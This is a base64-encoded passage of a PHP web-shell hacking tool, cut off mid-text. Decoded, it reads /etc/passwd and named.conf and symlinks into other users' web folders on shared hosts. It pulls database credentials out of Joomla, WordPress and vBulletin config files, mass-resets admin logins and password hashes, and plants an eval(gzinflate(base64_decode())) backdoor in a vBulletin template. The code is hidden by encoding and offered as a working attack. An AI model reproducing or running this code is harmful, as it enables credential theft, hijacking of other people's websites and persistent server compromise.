QoNCg0KJGZpbGUgPSAnL2V0Yy9uYW1lZC5jb25mJzsNCg0KDQokcjNhZCA9IEBmb3BlbigkZmlsZSwgJ3InKTsNCmlmICgkcjNhZCl7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQp9DQplbHNlIGlmICghJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHIzYWQgPSBAaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KfQ0KZWxzZSBpZiAoISRyM2FkKQ0Kew0KJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCg0KDQppZiAoJHNtKXsNCiRyM2FkID0gQGZvcGVuKCdzeW0vc3ltLnR4dCcsICdyJyk7DQokY29udGVudCA9IEBmcmVhZCgkcjNhZCwgQGZpbGVzaXplKCRmaWxlKSk7DQplY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoNCn0NCn0NCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J1NhdmUnLz4gPC9mb3JtPiI7DQoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkpew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCiRmID0gZm9wZW4oJ25hbWVkLnR4dCcsJ3cnKTsNCg0KJHcgPSBmd3JpdGUoJGYsJGNvbnQpOw0KDQogICAgICAgICAgICAgICAgICBpZigkdyl7DQoNCiAgICAgICAgICAgICAgICAgIGVjaG8gJzxiciAvPnNhdmUgaGFzIGJlZW4gc3VjY2Vzc2Z1bGx5JzsNCg0KICAgICAgICAgICAgICAgICAgfQ0KDQpmY2xvc2UoJGYpOw0KDQp9DQoNCmJyZWFrOw0KDQovLyBwYXNzd2QNCg0KY2FzZSAncGFzc3dkJzoNCg0KaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KDQoNCiRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoNCmlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCg0KJGYgPSBAZm9wZW4oJ3Bhc3N3ZC50eHQnLCd3Jyk7DQoNCiR3ID0gQGZ3cml0ZSgkZiwkY29udCk7DQoNCmZjbG9zZSgkZik7DQp9DQppZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KLy8gKiBTSE9XICogLy8NCg0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz48dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzM1JSc+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluazwvdGQ+PHRkPkZUUDwvdGQ+IjsNCmZsdXNoKCk7DQoNCiRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KDQpmb3JlYWNoICgkZmlsMyBhcyAkZil7DQoNCiAgICAgJHU9ZXhwbG9kZSgnOicsICRmKTsNCiAgICAgJHVzZXIgPSAkdVsnMCddOw0KDQoNCg0KZWNobyAiDQo8dHI+DQoNCg0KPHRkIHdpZHRoPScxNSUnPg0KJHVzZXINCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCjwvdGQ+DQoNCjx0ZCB3aWR0aD0nMTAlJz4NCjxhIGhyZWY9JyRwYWdlRlRQL3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5GVFA8L2E+DQo8L3RkPg0KDQoNCg0KPC90cj48L2Rpdj4gIjsNCg0KDQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQp9DQoNCmRpZSAoIjwvdHI+PC9kaXY+Iik7DQogICAgICAgICAgICAgICAgICB9DQoNCn0NCg0KZWNobyAicmVhZCAvZXRjL3Bhc3N3ZCI7DQplY2hvICI8YnIgLz48YnIgLz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP3N3cz1wYXNzd2Qmc2F2ZT0xJz48dGV4dGFyZWEgY29scz0nODAnIHJvd3M9JzIwJyBuYW1lPSdmaWxlJz4iOw0KZmx1c2goKTsNCg0KJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOw0KDQoNCiRyM2FkID0gQGZvcGVuKCRmaWxlLCAncicpOw0KaWYgKCRyM2FkKXsNCiRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCmVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQokcjNhZCA9IEBzaG93X3NvdXJjZSgkZmlsZSkgOw0KfQ0KZWxzZWlmKCEkcjNhZCkNCnsNCiRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCn0NCmVsc2VpZighJHIzYWQpDQp7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDEwMDA7JHVpZCsrKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRhcmEgPSBwb3NpeF9nZXRwd3VpZCgkdWlkKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYXJhKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogfQ0KDQoNCmZsdXNoKCk7DQoNCg0KZWNobyAiPC90ZXh0YXJlYT48YnIgLz48YnIgLz48aW5wdXQgIHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZuYnNwOyZuYnNwO3N5bWxpbmsmbmJzcDsmbmJzcDsnLz4gPC9mb3JtPiI7DQpmbHVzaCgpOw0KDQpicmVhazsNCg0KDQoNCmNhc2UgJ2pvb21sYSc6DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8geHh4eHh4eHh4eHh4eHh4eHh4eCAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCg0KaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsNCg0KJGZpbGUgPSBAZmlsZV9nZXRfY29udGVudHMoJ2pvb21sYS50eHQnKTsNCg0KJGV4ICAgPSBleHBsb2RlKCJcbiIsJGZpbGUpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWluIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQpmbHVzaCgpOw0KDQoNCmZvcmVhY2ggKCRleCBhcyAkZXhwKXsNCg0KJGVzICAgPSBleHBsb2RlKCJ8fCIsJGV4cCk7DQoNCiRjb25maWcgPSAkZXNbMF07DQoNCiRkb21pbiA9ICRlc1sxXTsNCg0KJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsNCg0KJHJlYWRjb25maWcgID0gQGZpbGVfZ2V0X2NvbnRlbnRzKHRyaW0oJGNvbmZpZykpOw0KDQppZihlcmVnKCdKQ29uZmlnJywkcmVhZGNvbmZpZykpew0KDQoNCg0KJHBhc3MgICAgPSAgZXgoJHJlYWRjb25maWcsJyRwYXNzd29yZCA9IFwnJywiJzsiKTsNCg0KJHVzZXJkYiAgPSAgZXgoJHJlYWRjb25maWcsJyR1c2VyID0gXCcnLCInOyIpOw0KDQokZGIgICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRiID0gXCcnLCInOyIpOw0KDQokZml4ICAgICA9ICBleCgkcmVhZGNvbmZpZywnJGRicHJlZml4ID0gXCcnLCInOyIpOw0KDQokdGFiICAgICA9ICAkZml4Lid1c2Vycyc7DQoNCg0KJGNvbiAgICAgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlcmRiLCRwYXNzKTsNCg0KJGRiICAgICAgPSBAbXlzcWxfc2VsZWN0X2RiKCRkYiwkY29uKTsNCg0KJHF1ZXJ5ICAgPSBAbXlzcWxfcXVlcnkoIlVQREFURSBgJHRhYmAgIFNFVCBgdXNlcm5hbWVgID0nc2VjLXcuY29tJyIpOw0KDQoNCiRxdWVyeTMgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgICBTRVQgYHBhc3N3b3JkYCA9JzQ0YTBiY2RhNjExNTE0NjI1YmE5NGUwYjFjMGJkYWVkOjJpZXRzOXlkalIzaU9kU3V5dlc1NHBJenlGOU0xUDVKJyIpOw0KDQoNCmlmICgkcXVlcnkgYW5kICRxdWVyeTMgKXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQgPC9iPnVzZXIgW3NlYy13LmNvbV0gcGFzcyBbMV08L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCmVjaG8gIjx0cj4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KDQoNCg0KfWVsc2V7DQoNCmVjaG8gIjx0cj4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGV4cCc+Y29uZmlnPC9hPjwvdGQ+PHRkPjxiIHN0eWxlPSdjb2xvcjpyZWQnPmZhaWxlZDwvYj48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQoNCn0NCg0KfQ0KDQpkaWUoKTsNCg0KfQ0KDQppZighaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KZmx1c2goKTsNCg0KDQp9ZWxzZXsNCg0KJGQwMG0gPSBmaWxlKCJuYW1lZC50eHQiKTsNCg0KDQp9DQppZighJGQwMG0pDQp7DQoNCiAgICAgICAgICAgICAgICBkaWUgKCI8bWV0YSBodHRwLWVxdWl2PSdyZWZyZXNoJyBjb250ZW50PScwOyB1cmw9P3N3cz1yZWFkJy8+Iik7DQp9DQplbHNlDQoNCnsNCmVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQo8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJHBnP3N3cz1qb29tbGEnPg0KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J01hc3MgY2hpbmcgQWRtaW4nIC8+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyB2YWx1ZT0nMScgbmFtZT0ncycgLz4NCjwvZm9ybT48YnIgLz48YnIgLz4NCjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IGNvbmZpZyA8L3RkPjx0ZD4gUmVzdWx0IDwvdGQ+IjsNCg0KJGYgPSBmb3Blbignam9vbWxhLnR4dCcsJ3cnKTsNCg0KZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCg0KaWYoZXJlZ2koInpvbmUiLCRkb20pKXsNCg0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZG9tLCAkZG9tc3dzKTsNCg0KaWYoc3RybGVuKHRyaW0oJGRvbXN3c1sxXVswXSkpID4gMil7DQoNCiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkb21zd3NbMV1bMF0pKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCg0KJHdwbD0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAiOw0KJHdwcD1nZXRfaGVhZGVycygkd3BsKTsNCiR3cD0kd3BwWzBdOw0KDQokd3AyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwIjsNCiR3cHAyPWdldF9oZWFkZXJzKCR3cDIpOw0KJHdwMTI9JHdwcDJbMF07DQoNCiR3cDM9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCI7DQokd3BwMz1nZXRfaGVhZGVycygkd3AzKTsNCiR3cDEzPSR3cHAzWzBdOw0KDQoNCiAvLy8vLy8vLy8vIGpvb21sYSAvLy8vLy8vLy8vLy8NCg0KJHBvcyA9IHN0cnBvcygkd3AsICIyMDAiKTsNCiRjb25maWc9IiZuYnNwOyI7DQoNCmlmIChzdHJwb3MoJHdwLCAiMjAwIikgPT0gdHJ1ZSApDQp7DQogJGNvbmZpZz0gJHdwbDsNCn0NCmVsc2VpZiAoc3RycG9zKCR3cDEyLCAiMjAwIikgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0gJHdwMjsNCn0NCmVsc2VpZiAoc3RycG9zKCR3cDEzLCAiMjAwIikgPT0gdHJ1ZSkNCnsNCiAgJGNvbmZpZz0gJHdwMzsNCn0NCmVsc2UNCnsNCmNvbnRpbnVlOw0KDQp9DQpmbHVzaCgpOw0KDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiRkb20gPSAkZG9tc3dzWzFdWzBdOw0KDQokdyA9IGZ3cml0ZSgkZiwiJGNvbmZpZ3x8JGRvbSBcbiIpOw0KaWYoJHcpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U2F2ZTwvYj4nO31lbHNleyRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nO30NCg0KDQplY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21zd3NbMV1bMF0uIj4iLiRkb21zd3NbMV1bMF0uIjwvYT48L3RkPg0KPHRkPjxhIGhyZWY9JyRjb25maWcnPmNvbmZpZzwvYT48L3RkPjx0ZD4iLiRyLiI8L3RkPjwvdHI+IjsNCg0KZmx1c2goKTsNCg0KfQ0KfQ0KfQ0KfQ0KDQoNCmJyZWFrOw0KDQpjYXNlICd3cCc6DQoNCmlmKGlzc2V0KCRfUE9TVFsncyddKSl7DQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd3cC50eHQnKTsNCg0KJGV4ICAgPSBleHBsb2RlKCJcbiIsJGZpbGUpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWluIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQpmb3JlYWNoICgkZXggYXMgJGV4cCl7DQoNCiRlcyAgID0gZXhwbG9kZSgifHwiLCRleHApOw0KDQokY29uZmlnID0gJGVzWzBdOw0KDQokZG9taW4gPSAkZXNbMV07DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCiRyZWFkY29uZmlnICA9IEBmaWxlX2dldF9jb250ZW50cyh0cmltKCRjb25maWcpKTsNCg0KaWYoZXJlZygnd3Atc2V0dGluZ3MucGhwJywkcmVhZGNvbmZpZykpew0KDQoNCg0KJHBhc3MgICAgPSAgZXgoJHJlYWRjb25maWcsImRlZmluZSgnREJfUEFTU1dPUkQnLCAnIiwiJyk7Iik7DQoNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX1VTRVInLCAnIiwiJyk7Iik7DQoNCiRkYiAgICAgID0gIGV4KCRyZWFkY29uZmlnLCJkZWZpbmUoJ0RCX05BTUUnLCAnIiwiJyk7Iik7DQoNCiRmaXggICAgID0gIGV4KCRyZWFkY29uZmlnLCckdGFibGVfcHJlZml4ICA9IFwnJywiJzsiKTsNCg0KJHRhYiAgICAgPSAkZml4Lid1c2Vycyc7DQoNCiRjb24gICAgID0gQG15c3FsX2Nvbm5lY3QoJ2xvY2FsaG9zdCcsJHVzZXJkYiwkcGFzcyk7DQoNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQoNCiRxdWVyeSAgID0gQG15c3FsX3F1ZXJ5KCJVUERBVEUgYCR0YWJgIFNFVCBgdXNlcl9sb2dpbmAgPSdzZWMtdy5jb20nIikgb3IgZGllOw0KDQokcXVlcnkgICA9IEBteXNxbF9xdWVyeSgiVVBEQVRFIGAkdGFiYCBTRVQgYHVzZXJfcGFzc2AgPSckMSQ0ei8uNWkuLiQ5YUhZQi5mVUhFbU5aLmVJS1lUd3gvJyIpIG9yIGRpZTsNCg0KDQoNCmlmICgkcXVlcnkpeyRyID0gJzxiIHN0eWxlPSJjb2xvcjogIzAwNjYwMCI+U3VjY2VlZCA8L2I+dXNlciBbc2VjLXcuY29tXSBwYXNzIFsxXTwvYj4nO30NCg0KZWxzZQ0KDQp7DQoNCiRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nOw0KDQp9DQoNCiRkb21pbnMgPSB0cmltKCRkb21pbikuJyc7DQoNCmVjaG8gIjx0cj4NCjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0naHR0cDovLyRkb21pbnMnPiRkb21pbjwvYT48L3RkPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQp9ZWxzZXsNCg0KZWNobyAiPHRyPg0KPHRkPjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSdodHRwOi8vJGRvbWlucyc+JGRvbWluPC9hPjwvdGQ+DQo8dGQ+PGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2h0dHA6Ly8kY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+PGIgc3R5bGU9J2NvbG9yOnJlZCc+ZmFpbGVkMjwvYj48L3RkPjwvdHI+IjsNCg0KZmx1c2goKTsNCmZsdXNoKCk7DQoNCn0NCg0KfQ0KDQpkaWUoKTsNCg0KfQ0KDQppZighaXNfZmlsZSgnbmFtZWQudHh0Jykpew0KDQokZDAwbSA9IEBmaWxlKCIvZXRjL25hbWVkLmNvbmYiKTsNCg0KfWVsc2V7DQoNCiRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KDQoNCn0NCmlmKCEkZDAwbSkNCnsNCg0KICAgICAgICAgICAgICAgIGRpZSAoIjxtZXRhIGh0dHAtZXF1aXY9J3JlZnJlc2gnIGNvbnRlbnQ9JzA7IHVybD0/c3dzPXJlYWQnLz4iKTsNCn0NCmVsc2UNCg0Kew0KZWNobyAiPGRpdiBjbGFzcz0ndG1wJz4NCjxmb3JtIG1ldGhvZD0nUE9TVCcgYWN0aW9uPSckcGc/c3dzPXdwJz4NCjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdNYXNzIENoYW5nZSBBZG1pbicgLz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIHZhbHVlPScxJyBuYW1lPSdzJyAvPg0KPC9mb3JtPg0KPGJyIC8+PGJyIC8+DQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJSc+PHRkPiBEb21haW5zIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCmZsdXNoKCk7DQpmbHVzaCgpOw0KDQokZiA9IGZvcGVuKCd3cC50eHQnLCd3Jyk7DQoNCmZvcmVhY2goJGQwMG0gYXMgJGRvbSl7DQoNCmlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGRvbSwgJGRvbXN3cyk7DQoNCmlmKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpew0KDQokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCiR3cGw9JHBhZ2VVUkwuIi9zeW0vcm9vdC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAiOw0KJHdwcD1nZXRfaGVhZGVycygkd3BsKTsNCiR3cD0kd3BwWzBdOw0KDQokd3AyPSRwYWdlVVJMLiIvc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAiOw0KJHdwcDI9Z2V0X2hlYWRlcnMoJHdwMik7DQokd3AxMj0kd3BwMlswXTsNCg0KJHdwMz0kcGFnZVVSTC4iL3N5bS9yb290L2hvbWUvIi4kdXNlclsnbmFtZSddLiIvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnIjsNCiR3cHAzPWdldF9oZWFkZXJzKCR3cDMpOw0KJHdwMTM9JHdwcDNbMF07DQoNCg0KIC8vLy8vLy8vLy8gd3AgLy8vLy8vLy8vLy8vDQoNCiRwb3MgPSBzdHJwb3MoJHdwLCAiMjAwIik7DQokY29uZmlnPSImbmJzcDsiOw0KDQppZiAoc3RycG9zKCR3cCwgIjIwMCIpID09IHRydWUgKQ0Kew0KICRjb25maWc9ICR3cGw7DQp9DQplbHNlaWYgKHN0cnBvcygkd3AxMiwgIjIwMCIpID09IHRydWUpDQp7DQogICRjb25maWc9ICR3cDI7DQp9DQplbHNlaWYgKHN0cnBvcygkd3AxMywgIjIwMCIpID09IHRydWUpDQp7DQogICRjb25maWc9ICR3cDM7DQp9DQplbHNlDQp7DQpjb250aW51ZTsNCg0KfQ0KZmx1c2goKTsNCg0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQokZG9tID0gJGRvbXN3c1sxXVswXTsNCg0KJHcgPSBmd3JpdGUoJGYsIiRjb25maWd8fCRkb20gXG4iKTsNCmlmKCR3KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlNhdmU8L2I+Jzt9ZWxzZXskciA9ICc8YiBzdHlsZT0iY29sb3I6cmVkIj5mYWlsZWQ8L2I+Jzt9DQoNCg0KZWNobyAiPHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuIi4kZG9tc3dzWzFdWzBdLiI+Ii4kZG9tc3dzWzFdWzBdLiI8L2E+PC90ZD4NCjx0ZD48YSBocmVmPSckY29uZmlnJz5jb25maWc8L2E+PC90ZD48dGQ+Ii4kci4iPC90ZD48L3RyPiI7DQpmbHVzaCgpOw0KZmx1c2goKTsNCg0KDQoNCg0KDQpmbHVzaCgpOw0KDQoNCn0NCn0NCn0NCn0NCg0KDQpicmVhazsNCg0KDQpjYXNlICd2Yic6DQoNCg0KaWYoaXNzZXQoJF9QT1NUWydzJ10pKXsNCg0KDQoNCiRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCd2Yi50eHQnKTsNCg0KJGV4ICAgPSBleHBsb2RlKCJcbiIsJGZpbGUpOw0KDQplY2hvICI8ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJz48dGQ+IGRvbWluIDwvdGQ+PHRkPiBjb25maWcgPC90ZD48dGQ+IFJlc3VsdCA8L3RkPiI7DQoNCg0KZm9yZWFjaCAoJGV4IGFzICRleHApew0KDQokZXMgICA9IGV4cGxvZGUoInx8IiwkZXhwKTsNCg0KJGNvbmZpZyA9ICRlc1swXTsNCg0KJGRvbWluID0gJGVzWzFdOw0KDQokZG9taW5zID0gdHJpbSgkZG9taW4pLicnOw0KDQokcmVhZGNvbmZpZyAgPSBAZmlsZV9nZXRfY29udGVudHModHJpbSgkY29uZmlnKSk7DQoNCmlmKGVyZWcoJ3ZCdWxsZXRpbicsJHJlYWRjb25maWcpKXsNCg0KJGRiICAgICAgPSAgZXgoJHJlYWRjb25maWcsJyRjb25maWdbXCdEYXRhYmFzZVwnXVtcJ2RibmFtZVwnXSA9IFwnJywiJzsiKTsNCiR1c2VyZGIgID0gIGV4KCRyZWFkY29uZmlnLCckY29uZmlnW1wnTWFzdGVyU2VydmVyXCddW1wndXNlcm5hbWVcJ10gPSBcJycsIic7Iik7DQokcGFzcyAgICA9ICBleCgkcmVhZGNvbmZpZywnJGNvbmZpZ1tcJ01hc3RlclNlcnZlclwnXVtcJ3Bhc3N3b3JkXCddID0gXCcnLCInOyIpOw0KJGNvbiAgICAgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0JywkdXNlcmRiLCRwYXNzKTsNCiRkYiAgICAgID0gQG15c3FsX3NlbGVjdF9kYigkZGIsJGNvbik7DQokc2hlbGwgICA9ICJiVkRQUzhNd0ZMNEwvZyt2WVpBV2RQUGlhVXYxNGtBUUZLcW5VVXFhcGpTWU5LRkp4Q243MzIyYWJnemNJZkR5dmwrUDcvcUtzMDREM3RTNXNKOTZNTUo5YitvaER3OHZUV2NxMzFQRjAyeUpwL1dxenZFYVprMnJCd1dVT2FGN2doQW83anJkRUdTMGRRaDR6OXplY0lLVWwwNFlPcmhWNE44MjFGRUV3WlFnYjZTbURSOFFpT2JzZHhZaGV1TWRSS05XU0g1VXh0bUtuM0crdjBQNVRJeGdOVHFoV1dSOXJZU0xBWEgvUmFVZmdZOHBiVlJPWjRWSTBhYXdxTjVlaS9jZERsUmNBaUZ3SkVJR3Y0SHl5TFRacDR0cSsvenlWT3h3T0FTWE8reVVxVUk2TG0vZ0h4aUJMRGljNm82MlVIakd1TFdRSkVrbzk5VDlHZzdBcGVVWEpGc3E1RVgrQVI3eVB3PT0iIDsNCiRjcnlwdCAgPSAie1wke2V2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoXCciOw0KJGNyeXB0IC49ICIkc2hlbGwiOw0KJGNyeXB0IC49ICJcJykpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KJHNxbGZhcSA9ICJVUERBVEUgdGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kY3J5cHQuIicgV0hFUkUgdGl0bGUgPSdGQVEnIiA7DQokcXVlcnkgID0gQG15c3FsX3F1ZXJ5KCRzcWxmYXEsJGNvbik7DQppZiAoJHF1ZXJ5KXskciA9ICc8YiBzdHlsZT0iY29sb3I6ICMwMDY2MDAiPlN1Y2NlZWQ8L2I+IHNoZWxsIGluIHNlYXJjaC5waHAnO30NCmVsc2UNCnsNCiRyID0gJzxiIHN0eWxlPSJjb2xvcjpyZWQiPmZhaWxlZDwvYj4nOw0KfQ0KJGRvbWlucyA9IHRyaW0oJGRvbWluKS4nJzsNCg0KZWNobyAiPHRyPg0KPHRkP